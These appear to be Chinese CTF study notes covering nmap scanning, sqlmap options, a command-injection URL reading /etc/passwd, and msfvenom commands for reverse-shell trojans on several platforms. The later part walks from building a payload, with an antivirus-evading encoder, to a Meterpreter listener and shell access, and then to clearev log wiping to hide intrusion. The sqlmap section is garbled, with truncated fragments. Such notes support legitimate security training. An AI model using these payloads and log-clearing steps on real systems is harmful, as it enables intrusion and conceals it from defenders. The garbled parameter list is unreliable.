CTF竞赛
CTF入门指南
CTF基础概念
CTF是一种网络安全竞赛形式,主要通过解密、逆向工程、网络攻击、隐写术等方式解决各种网络安全挑战。
CTF题型通常分为Jeopardy(解题型)和Attack-Defense(攻防型)两大类。Jeopardy题目常见分类有Web、Crypto、Pwn、Reverse、Forensics等。
考点
Web安全:学习基础Web漏洞(如XSS、SQL注入),逐步理解现代Web应用安全。
逆向工程(Reverse Engineering):熟悉汇编语言、调试工具,掌握静态和动态分析。
Pwn:学习二进制安全基础知识,如缓冲区溢出、格式化字符串漏洞。
密码学(Crypto):了解常见加密解密算法及其破解方式。
取证(Forensics):掌握文件分析、磁盘取证、内存分析的基本方法。
隐写术(Steganography):研究文件中的隐写信息,如图像、音频和文档。
常用工具
- 逆向分析:IDA Pro、Ghidra、x64dbg
- Web漏洞挖掘:Burp Suite、SQLmap、Nmap
- 密码学工具:CyberChef、Hashcat、John the Ripper
- 取证分析:Autopsy、Volatility
- 隐写术工具:Stegsolve、Exiv2、Audacity
CTF题库和刷题平台
CTFHub:包含大量CTF题目,适合初学者练习和巩固基础。
Pwnable.kr:专注于Pwn题型的训练平台,有详细的解题指引。
Root-Me:拥有不同难度级别的安全挑战,涵盖Web、密码学、逆向工程等题型。
Cryptohack:专门提供密码学题目的练习平台。
WebGoat:OWASP维护的一个Web安全靶场,适合Web安全知识的系统化学习。
CTF资源与解题思路
- CTF Wiki:一个全面的CTF学习资源库,涵盖各种题型的理论知识和工具使用。
- SecWiki:网络安全资源平台,包含CTF题解、知识点总结及工具推荐。
- CTF All-In-One:GitHub上的CTF学习项目,包含丰富的入门教程和进阶题解。
Nmap工具
Nmap 是一款功能强大的网络扫描与安全审计工具,广泛用于网络发现、端口扫描、操作系统及服务识别、漏洞检测等场景。
默认nmap只扫描常用的1000的端口
要扫描所有端口需要在命令里加上-p-
扫描指定的端口使用-p端口
来指定
以上两个都不会扫描UDP端口,要扫描UDP端口需要加上U
,如下
T
表示tcp
,U
表示UDP
1 | nmap -sT 目标 |
TCP扫描
正常的TCP建立连接需要进行三次握手,
主机发送SYN
到目标主机,目标主机回复SYN ACK
表示我收到了,主机收到后回复SYN
开始建立连接
nmap -sT
同样也会完成握手动作的,只不过当目标主机发送数据过来的时候,nmap不会发送正常的数据,而是会发送RST
进行会话的中断
正常结束TCP
会话是需要发送FIN
的
在TCP报文的报头中,有几个标志字段:
SYN | ACK | RST | FIN |
---|---|---|---|
同步连接序号,请求建立连接 | 请求/应答状态 | 连线复位 | 结束连线。 |
1、 SYN:同步连接序号,TCP SYN报文就是把这个标志设置为1,来请求建立连接;
2、 ACK:请求/应答状态。0为请求,1为应答;
3、 FIN:结束连线。如果FIN为0是结束连线请求,FIN为1表示结束连线;
4、 RST:连线复位,首先断开连接,然后重建;
5、 PSH:通知协议栈尽快把TCP数据提交给上层程序处理。
详细TCP三次握手
详细TCP三次握手过程:
在学习TCP三次握手的过程前,首先熟悉几个缩写简称:
状态 | 功能 |
---|---|
TCB | 传输控制块,打开后服务器/客户端进入监听(LISTEN)状态 |
SYN | TCP报文标志位,该位为1时表示发起一个新连接 |
ACK | TCP报文标志位,该位为1时,确认序号有效,确认接收到消息。TCP规定,在连接建立后所有报文的传输都必须把ACK置1 |
seq | sequence number,报文初始序列号,代表发送的第一个字节的序号 |
ack | acknowledgement number,报文确认序号,代表希望收到的下一个数据的第一个字节的序号 |
熟悉上面几个标志位和序列号含义后,下面来看TCP的三次握手过程:
先上几个帮助理解的点:
不管请求还是应答,都是带两种数据:请求号SYN/应答号ACK + 数据包报文号;
请求时要发请求号SYN
,应答时要发送应答号ACK
在数据包传送时,发送方要发送当前数据包报文号seq和确认收到上一个数据包的确认报文号ack。
第一次握手:客户端——请求(发送请求SYN+数据包当前序列号seq,无需应答)
客户端创建传输控制块TCB,进入监听LISTEN状态。
设置SYN=1,表示这是握手报文,并发送给服务器
设置发送的数据包序列号seq=x
此时客户端处于同步已发送SYN-SENT状态
第二次握手:服务器——确认(发送应答ACK+请求SYN+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq)
设置ACK=1,表示确认应答。
设置ack=x+1,表示已收到客户端x之前的数据,希望下次数据从x+1开始
设置SYN=1,表示握手报文,并发送给客户端
设置发送的数据包序列号seq=y
此时服务器处于同步已接收SYN-RCVD状态
第三次握手:客户端——确认服务器的确认(发送应答ACK+确认收到上一个数据包的确认号ack+ 当前数据包序列号seq ,连接已建立,无需请求)
设置ACK=1,表示确认应答。
设置ack=y+1,表示收到服务器发来的序列号为seq=y的数据包,希望下次数据从y+1开始
设置seq=x+1,表示接着上一个数据包seq=x继续发送
至此三次握手结束,连接建立
同样是以TCP
数据段里表示会话的状态的,使用nmap sT
会存在一定的副作用,
1 | nmap -sT 127.0.0.1 |
首先因为需要完成握手的整个动作的过程,因此比较花时间,其次目标主机通常会对完成握手的会话进行日志的记录,扫描的时候容易留下痕迹,我们也不能完全否认nmap -sT
的作用,因为只要目标主机发送了SYN/ACK
包过来,nmap
就可以标记这个端口是open开放状态的了,如果目标主机返回的不是SYN/ACK
包,而是RST
包,nmap则会记录这个端口为closed
关闭状态,如果nmap
发送SYN包以后没有收到回复的话,那就很有可能被防火墙阻挡了,此时nmap就会标记端口为filtered被过滤状态了,为了不留下明显的痕迹需要用高级一点的nmap -sS
当收到目标主机发送过来的SYN/ACK
的时候nmap
不会走完整个TCP握手过程,不会发送FIN而是发送RST
,在收到目标主机的SYN/ACK
的时候,其实也是确认了访问这个的端口是开放的,既然目的达到了,自然就用RST
赶紧结束会话了,如果收到的不是SYN/ACK
而是RST
,则表示目标主机的这个端口关闭了,如果连RST
都没收到,什么都没有收到的话,那大概率是被防火墙拦截了,也就是会标记为“过滤”,另外收到ICMP
报错消息,也会被标记为“过滤”。
如果直接发送RST
不是更省事吗,但是目标主机会以为你没有收到SYN/ACK
,导致目标主机重传,nmap在这里只是想要了解信息,并不是要进行破坏或者资源的浪费,因为nmap -sS
没有完成整个握手过程,因此被称为“半连接”扫描,或者“半开”扫描,还可以叫做SYN
扫描,对于nmap的TCP扫描来说,nmap的SYN
扫描能够更快达到目的,而且因为没有完成握手的过程,相对来说不被保存日志的几率会更低,就更不容易留下痕迹了
如果直接用nmap进行扫描,默认会进行TCP连接扫描,如果加上sudo
,默认则是用SYN
半连接进行扫描
UDP扫描
UDP
不像TCP
扫描和SYN
那样,都以收到SYN/ACK
来判断端口的开放。UDP
没有ACK
这样的确认机制 ,也就是说,UDP
只能依靠目标主机的回复做出判断
问题是对于大部分端口,nmap
发送的数据包没有负载,对方相当于收到一个空包,这样的数据包一般不会收到主机目标的回复,另外如果防火墙丢了你的包,一般也不作回复,因此在使用UDP
扫描的时候会经常看到open
和filtered
一起显示,此时端口可能开放了,也可能被防火墙阻挡了
那如果UDP
包收到回复了呢,此时并不是有鬼,而是如果UDP
端口关闭了,一般会回复类型和代码为3的ICMP
包
那我们如何判断UDP
端口是开放还是被过滤了呢
小技巧是使用nmap -sUV
这里加的V会进行版本扫描,nmap
会在open|filtered
的端口中做探测 ,确认运行的软件版本
,从而明确端口为开放的状态,使用UDP会有一个痛点就是慢,毕竟目标主机不会回复没有负载的UDP
包,加上防火墙以及限流的关系,导致诸多不确定因素,因此同一端口nmap
一般会出现太多次探测请求的情况,UDP
扫描最好配合其他选项进行探测,例如
1 | nmap -sUV --top-ports |
意思是扫描常用的端口,如果加上数字100
,则表示扫描常用的100个UDP
端口
1 | nmap -sUV --top-ports 100 |
icmp和ping扫描
端口扫描是nmap的核心功能,主机发现也是一个重点,一般是先探测有哪些主机是在运行,然后再对正在运行的主机进行端口扫描,查看它开放了什么服务以及放行了哪些端口。
在没有学习nmap之前我们一般用ping命令,来查看是否能和目标主机连通,从而确定目标主机是否在运行
在nmap里直接用nmap -sn
就可以进行ping
扫描了 ,和直接用ping命令不同的是,单独的ping
命令一次只能ping一个地址
而nmap在这里可以用-
表示IP的范围,当然也可以用CIDR
的方式来指明范围
1 | nmap -sn 192.168.122.1-100 |
不管是本地,还是远程的网络我们都可以用nmap -sn
来进行,不同的是,扫描本地网络实际上用了ARP协议
进行请求,扫描远程网络则用了ICMP协议
,还会利用TCP
SYN
和TCP
ACK
进行主机发现,可是遇到用windows服务器就要注意了比如2016,2019,2022这样的版本防火墙会默认屏蔽掉所有ICMP包
,如果继续用nmap -sn
就会进入死胡同了
此时nmap -Pn
会更实用,-Pn
相当于No Ping,不要ping了,以此来绕过防火墙的阻挡
但是这个命令非常耗时间,因为nmap会假设目标主机是正在运行的,如果目标主机没有在运行,会导致nmap重复探测
扫描存活主机
-sP
1 | nmap -sP 192.168.122.0/24 |
nmap -sP 192.168.122.0/24
是一条使用 nmap
工具进行网络扫描的命令,以下是该命令的详细解释:
命令分解
-sP
:-sP
是nmap
的一个选项,用于执行 主机发现(Host Discovery)或 Ping 扫描。- 在较新的
nmap
版本中,这个选项被重命名为-sn
,但-sP
仍然被支持以保持向后兼容。 - 使用
-sP
时,nmap
不会对目标主机进行端口扫描,而是仅尝试确定哪些主机是“存活”的(即,哪些主机响应了 ICMP Echo 请求(ping)或其他探测方法)。
192.168.122.0/24
:- 这是一个 CIDR 表示法的 IP 地址范围。
192.168.122.0
是网络地址,/24
表示子网掩码为 255.255.255.0。- 因此,这个范围包括从
192.168.122.1
到192.168.122.254
的所有 IP 地址(192.168.122.0
是网络地址,192.168.122.255
是广播地址,通常不分配给主机)。
命令功能
- 该命令会向
192.168.122.0/24
范围内的每个 IP 地址发送探测包(通常是 ICMP Echo 请求,但也可能包括其他协议的探测,具体取决于目标主机的配置和nmap
的默认行为)。 - 如果目标主机响应了探测包,
nmap
会将其标记为“存活”。 - 扫描完成后,
nmap
会输出一个存活主机的列表。
示例输出
执行该命令后,你可能会看到类似以下的输出:
1 | Starting Nmap 7.92 ( https://nmap.org ) at 2023-10-05 12:34 CST |
这个输出表示在 192.168.122.0/24
范围内,nmap
发现了 2 台存活的主机(IP 地址为 192.168.122.1
和 192.168.122.2
)。
注意事项
- 主机发现扫描可能会被防火墙或 IDS/IPS 系统检测到,因此在进行此类扫描时请确保你有合法的授权。
- 在某些网络环境中,ICMP Echo 请求可能会被禁用或过滤,因此
nmap
可能会使用其他协议(如 TCP SYN、TCP ACK 等)进行探测。 - 如果你使用的是较新的
nmap
版本,建议使用-sn
选项而不是-sP
。
在较新的 nmap
版本中,-sP
参数已被弃用,推荐使用 -sn
参数来进行主机发现。不过,除了 -sn
,nmap
还提供了其他一些选项和方法来进行主机发现或扩展扫描功能。
-sn
在较新的 nmap
版本中,-sP
参数已被弃用,推荐使用 -sn
参数来进行主机发现。不过,除了 -sn
,nmap
还提供了其他一些选项和方法来进行主机发现或扩展扫描功能。
- 功能:与旧的
-sP
类似,-sn
参数用于仅执行主机发现,而不进行端口扫描。 - 示例:
1
nmap -sn 192.168.122.0/24
结合其他选项进行更灵活的主机发现
虽然 -sn
是专门用于主机发现的选项,但你可以结合其他选项来增强扫描的灵活性和效果。
常用的主机发现相关选项:
- **
-PE
**:发送 ICMP Echo 请求(ping)。 - **
-PP
**:发送 ICMP 时间戳请求。 - **
-PM
**:发送 ICMP 地址掩码请求。 - **
-PS[portlist]
**:发送 TCP SYN 包到指定端口(默认 80)。 - **
-PA[portlist]
**:发送 TCP ACK 包到指定端口(默认 80)。 - **
-PU[portlist]
**:发送 UDP 包到指定端口(默认 31338)。 - **
-PY[portlist]
**:发送 SCTP INIT 包到指定端口。 - **
-n
**:不进行 DNS 解析,加快扫描速度。 - **
-R
**:总是进行 DNS 解析。
示例组合:
仅使用 TCP SYN 进行主机发现:
1
nmap -sn -PS80,443 192.168.122.0/24
这将向目标网络中的每个 IP 地址发送 TCP SYN 包到 80 和 443 端口,以确定哪些主机是存活的。
结合多种探测方法:
1
nmap -sn -PE -PS80 -PU53 192.168.122.0/24
这将同时使用 ICMP Echo 请求、TCP SYN 到 80 端口和 UDP 到 53 端口的探测方法。
使用脚本进行更高级的主机发现
nmap
的脚本引擎(NSE)允许你编写自定义脚本,以实现更高级的主机发现和漏洞检测。
- 示例脚本:
broadcast-dns-service-discovery
- 这个脚本可以用于发现网络中的 DNS-SD 服务。
- 使用方法:
1
nmap --script broadcast-dns-service-discovery 192.168.122.0/24
总结
- 推荐使用:
-sn
参数进行基本的主机发现。 - 灵活组合:结合其他探测选项(如
-PE
、-PS
、-PU
等)以适应不同的网络环境和需求。 - 高级功能:利用 NSE 脚本进行更复杂的主机发现和服务检测。
通过合理选择和组合这些选项,你可以更有效地进行网络扫描和主机发现。
-PE
、-PS
和 -PU
是 nmap
工具中用于主机发现的选项,分别通过不同的协议或方法探测目标主机是否存活。以下是它们的具体使用方法和应用场景:
其他主机发现
1. -PE
功能:发送 ICMP Echo 请求(即 ping 请求)探测目标主机。
使用方法:
1 | nmap -PE 192.168.122.0/24 |
说明:
- 如果目标主机允许 ICMP Echo 请求,响应则表明主机存活。
- 适用于大多数网络环境,但可能被防火墙阻止。
2. -PS
功能:发送 TCP SYN 包到指定端口探测目标主机。
使用方法:
1 | nmap -PS80,443 192.168.122.0/24 |
说明:
- 默认端口为 80,但可通过参数指定其他端口(如 443)。
- 适用于防火墙阻止 ICMP 请求但允许 TCP 流量的情况。
- 如果目标主机返回 SYN/ACK,则主机存活;若返回 RST,则主机可能不存活或端口被过滤。
3. -PU
功能:发送 UDP 包到指定端口探测目标主机。
使用方法:
1 | nmap -PU53,67 192.168.122.0/24 |
说明:
- 默认端口为 31338,但可通过参数指定其他端口(如 53、67)。
- 适用于目标主机或防火墙阻止 TCP 和 ICMP 流量的情况。
- 如果目标主机返回 ICMP Port Unreachable,则端口关闭但主机可能存活;若无响应,则端口可能开放或被过滤。
组合使用示例
可以结合多个选项以提高探测成功率:
1 | nmap -PE -PS80 -PU53 192.168.122.0/24 |
效果:
- 同时使用 ICMP Echo、TCP SYN 和 UDP 探测方法。
- 适用于复杂网络环境,增加发现存活主机的概率。
注意事项
- 权限要求:
- 发送原始数据包(如 TCP SYN)通常需要 root 权限。
- 防火墙影响:
- 防火墙可能阻止特定协议的流量,导致探测失败。
- 网络性能:
- 大量探测可能占用网络带宽,建议在非高峰期执行。
总结
选项 | 协议 | 特点 |
---|---|---|
-PE |
ICMP Echo | 快速,但可能被防火墙阻止 |
-PS |
TCP SYN | 适用于 TCP 流量未被阻止的网络,隐蔽性较好 |
-PU |
UDP | 适用于 ICMP 和 TCP 均被阻止的网络,但 UDP 响应可能较少 |
通过合理选择和组合这些选项,可以更有效地发现网络中的存活主机。
扫描版本参数
1 | nmap -p- -sV 192.168.122.0 |
Sqlmap常用参数
1 | sqlmap -u "地址" --current-db --batch |
- –current-db获取当前使用的数据库
- –batch保持默认选项
- -D参数用来指定库名
- –tables用来获取-D参数指定的库下的所有表名
- –tables用来获取-D参数指定的库下的所有表名
- –dump表示获取表的数据
1.基本参数
-u <URL>
:指定目标URL-u "http://example.com/vuln?id=1"
-r <请求文件>
:从-m <文件>
:从文件读取--data <数据>
:发送POST请求数据--cookie <cookie>
:指定要发送的 Cookie--user-agent <agent>
:设置User-Agent--random-agent
:随机选择User-Agent--referer <referer>
:设置检测选项
2.检测选项
--level <level>
:设置检测--risk <risk>
:设置风险--technique <tech>
指定地点:B
(E
(报错)U
(联合查询)、``S(堆
T`(时间盲--time-sec <seconds>
:设置时间盲注
3.杂
--dbs
:枚举。--tables
:参加研究的--tables -D testdb
--columns
:体育节目的--columns -D testdb -T users
--dump
:--dump -D testdb -T users
--dump-all
:導--search
:搜索数据库
4. 绕过
--tamper <scripts>
:指定--tamper=space2comment
。--delay <秒>
:设置每次请求--timeout <秒>
:设置请求
5.认证参数
--auth-type <类型>
:设置认证类型,支持Basic
、摘要
Digest、
NTLM`等。--auth-cred <用户:密码>
:--proxy <代理>
:设置HTTP--proxy=http://127.0.0.1:8080
--tor
:
6. 输出控制
--batch
:自动接受默认-o
:保存扫描--output-dir <目录>
:指定
7. 实例
例如,使用sqlmap
进行
1 | sqlmap -u "http://example.com/vuln?id=1" --dbs |
这个命令会尝试检测目标页面的 SQL 注入漏洞并推出可用的数据库。
传参方法
利用方法在网址内里输入命令
1 | http://1.1.1.1/index.php?m=design&c=api&token=ba0VXPBUXu&id=4&format=&cmd= ('cat /etc/passwd'); |
cmd与前面=
号需要用&
连接
反弹木马
php反弹马
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=ip号 lport=端口号 -f raw -o name.php |
基于 msfvenom
工具,除了 PHP 反弹木马外,还可以生成其他系统(如 Windows、Linux 等)的反弹木马。以下是 Windows 反弹木马的生成方法:
Windows 反弹马
使用 msfvenom
生成 Windows 平台的反弹木马,是基于asp语言实现的。可以按照以下命令格式进行操作。
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f exe -o <输出文件名>.exe |
示例命令
假设攻击者的 IP 地址为 172.31.16.181
,监听端口为 1234
,生成的木马文件名为 backdoor.exe
,则命令如下:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.31.16.181 LPORT=1234 -f exe -o backdoor.exe |
参数说明
-p windows/meterpreter/reverse_tcp
:指定使用的 Payload,这里是 Windows 平台的 Meterpreter 反弹 TCP Shell。LHOST
:攻击者的 IP 地址,即木马反弹连接的地址。LPORT
:攻击者监听的端口,即木马反弹连接的端口。-f exe
:指定输出文件的格式为 Windows 可执行文件(.exe
)。-o backdoor.exe
:指定输出文件的名称为backdoor.exe
。
其他系统的反弹木马
除了 PHP 和 Windows,msfvenom
还支持生成其他系统和平台的反弹木马,例如:
Linux 反弹木马
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f elf -o <输出文件名>
Android 反弹木马
1
msfvenom -p android/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> R > <输出文件名>.apk
Python 反弹木马
1
msfvenom -p cmd/unix/reverse_python LHOST=<攻击者IP> LPORT=<监听端口> -f raw > <输出文件名>.py
Perl 反弹木马
1
msfvenom -p cmd/unix/reverse_perl LHOST=<攻击者IP> LPORT=<监听端口> -f raw > <输出文件名>.pl
注意事项
合法性与道德性:反弹木马属于恶意软件,生成和使用反弹木马可能违反法律法规。请确保在合法授权的环境下进行测试,例如在获得目标系统所有者明确许可的渗透测试中。
安全防护:反弹木马容易被杀毒软件和防火墙检测到。为了增强木马的隐蔽性,可以使用编码器(Encoder)对木马进行混淆或加密,例如:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.31.16.181 LPORT=1234 -e x86/shikata_ga_nai -i 3 -f exe -o backdoor_encoded.exe
其中:
-e x86/shikata_ga_nai
:指定使用的编码器。-i 3
:指定编码次数为 3 次。
监听配置:生成木马后,需要在攻击者机器上使用 Metasploit 的
multi/handler
模块进行监听,以便接收反弹回来的连接。
总结
msfvenom
是一个功能强大的工具,可以生成多种系统和平台的反弹木马。在生成和使用反弹木马时,务必遵守法律法规和道德准则,确保操作的合法性和安全性。
监听步骤
反弹马运行后,需要用msfconsole
监听反弹回来的会话。
msfconsole
运行后使用exploit/multi/handler
模块进行监听。使用show options后发现需要设置三个参数。
分别是payload
,lhost
,lport
。
1 | msf6 exploit(multi/handler) > show options |
先显示一下所有参数设置
show options
设置恶意代码参数
set payload php/meterpreter/reverse_tcp
设置攻击者IP:
set lhost 192.168.122.1
设置攻击者的端口号:
set lport 1234
运行监听器
exploit
反弹
meterpreter
会话时,输入shell
Enter进入对方终端
最后清除日志clearev
clearev
是一个用于清除系统日志的命令,常见于渗透测试工具(如 Metasploit 框架的 Meterpreter 会话)中。其主要作用是删除目标系统上的日志文件,以隐藏攻击者的活动痕迹,具体功能如下:
清除 Windows 系统日志
clearev
命令会删除 Windows 系统中的以下日志:- 应用程序日志
- 系统日志
- 安全日志
这些日志通常存储在事件查看器(Event Viewer)中,记录了系统的运行状态、安全事件和应用程序活动。
隐藏攻击痕迹
通过清除日志,攻击者可以避免被系统管理员或安全软件检测到其入侵行为,例如:- 删除登录失败的记录,掩盖暴力破解尝试。
- 清除恶意软件运行或权限提升的操作日志。
适用于后渗透阶段
在成功控制目标系统后,攻击者可能使用clearev
来清理痕迹,以便继续横向移动或维持长期控制。
注意事项
- 合法性与合规性:清除日志属于敏感操作,可能违反法律法规(如《网络安全法》)。仅限在授权的渗透测试或安全研究中使用。
- 日志服务器风险:如果目标系统的日志被集中存储在日志服务器上,本地清除可能无效。
- 检测与防御:安全软件可能监控日志删除行为,因此需谨慎操作。
示例场景
在 Metasploit 的 Meterpreter 会话中,攻击者可以执行以下命令:
1 | clearev |
这将自动清除目标 Windows 系统上的应用程序、系统和安全日志。
RSA加密
目前还不会。。。
用echo命令MD5加密
-n代表不换行,不然加密的内容就是 加密文本+换行符
1 | echo -n 要加密的内容文本 |md5sum |